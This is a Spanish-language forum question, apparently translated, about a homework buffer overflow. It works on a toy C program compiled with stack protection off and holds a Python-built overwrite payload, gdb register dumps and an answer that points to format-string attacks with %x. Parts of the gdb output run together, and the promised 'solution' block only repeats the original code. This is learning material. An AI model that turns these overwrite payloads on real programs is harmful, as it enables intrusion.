Explotación de desbordamiento de búfer aún fallas seg

3

Tengo un problema muy similar como la pregunta aquí , Pero la solución no me lo resolvió. Esta es una tarea, pero estoy completamente atascado en esto.

Tengo un fragmento de código explotable:

void foo(const char* input)
{
    char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"};

    // This will overrun the buffer if the array pointed to by
    // input is more than 12 characters long
    strcpy(buf, input);
}


void bar(void)
{
    printf("In bar()");
}


int main(int argc, char* argv[])
{
    foo(argv[1]);

    return 0;
}

El objetivo es llamar a bar() desde un desbordamiento de búfer.

Compilé esto en un servidor Linux de Ubuntu usando este comando:

gcc vulnerable.c -g -fno-stack-protector -z execstack -O0 -m32  -o ./vuln

Estoy deshabilitando la protección smasher de pila, deshabilito el bit nx (creo) con -z execstack . Creo que encontré el tamaño del búfer y la ubicación de la memoria (0804846b) de la función. Cuando ejecuto gdb con una interrupción en mi main, puedo ver que parece entrar en la función:

(gdb) run $(python -c "print('\x90'*24 + '\x6b\x84\x04\x08')")


Breakpoint 1, main (argc=2, argv=0xffffd594) at vulnerable.c:27
27      foo(argv[1]);
(gdb) s
foo (input=0xffffd707 '0' <repeats 24 times>, "k4
(gdb) n
bar () at vulnerable.c:20
20  {
(gdb) n
21      printf("In bar()");
(gdb) n
22  }
(gdb) info registers
eax            0x8  8
ecx            0x804b010    134524944
edx            0xf7fbd870   -134490000
ebx            0x0  0
esp            0xffffd4c4   0xffffd4c4
ebp            0xffffd4cc   0xffffd4cc
esi            0xf7fbc000   -134496256
edi            0xf7fbc000   -134496256
eip            0x8048481    0x8048481 <bar+22>
eflags         0x282    [ SF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99
(gdb) n
0xffffd700 in ?? ()
(gdb) 
4\b") at vulnerable.c:11 11 char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"}; (gdb) n 15 strcpy(buf, input); (gdb) n 16 } (gdb) n **bar () at vulnerable.c:20** 20 { (gdb) info registers eax 0xffffd4b4 -11084 ecx 0xffffd720 -10464 edx 0xffffd4cd -11059 ebx 0x0 0 esp 0xffffd4d0 0xffffd4d0 ebp 0x90909090 0x90909090 esi 0xf7fbc000 -134496256 edi 0xf7fbc000 -134496256 eip 0x804846b 0x804846b <bar> eflags 0x282 [ SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xffffd704 in ?? () (gdb)

El programa sale con un fallo de seg en esa ubicación de memoria ffff . ¿Qué me estoy perdiendo?

EDITAR: ¿llegó al regreso de la barra? Creo que sí ?:

(gdb) run $(python -c "print('A' * [NUMBER TO OVERFLOW THE BUFFER] + [address of bar] + [address of libc_start_main])")

Editar: encontré una solución, pero devuelve el código de error 10:

void foo(const char* input)
{
    char buf[12] = {"\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99"};

    // This will overrun the buffer if the array pointed to by
    // input is more than 12 characters long
    strcpy(buf, input);
}


void bar(void)
{
    printf("In bar()");
}


int main(int argc, char* argv[])
{
    foo(argv[1]);

    return 0;
}

Esto obtiene la impresión, pero devuelve el código 10.

    
pregunta Jeff 06.12.2017 - 15:17
fuente

1 respuesta

1

Me enfrenté al mismo problema. Esto sucede cuando estás:

  1. No está haciendo su cálculo correctamente para determinar cuántas cadenas debe colocar en el búfer.

  2. Estás sobrescribiendo la instrucción en sí misma.

Es posible que desee intentar verificar si había direcciones que ya estaba omitiendo antes de esta cadena (funcionó para mí).

O también puedes intentar pasar una cadena que tenga muchos %x y pocos alfabetos y luego verás que después de n número de %x puedes ver el valor ASCII de los alfabetos que pasaste que se imprimirán. Ahora este n puede usarse como %nu (no el n aquí de antes) y de esta manera también podría atacar el búfer y se llama Format String attack. Tal vez esto podría funcionar.

    
respondido por el Harsh P Bajaj 16.10.2018 - 23:27
fuente

Lea otras preguntas en las etiquetas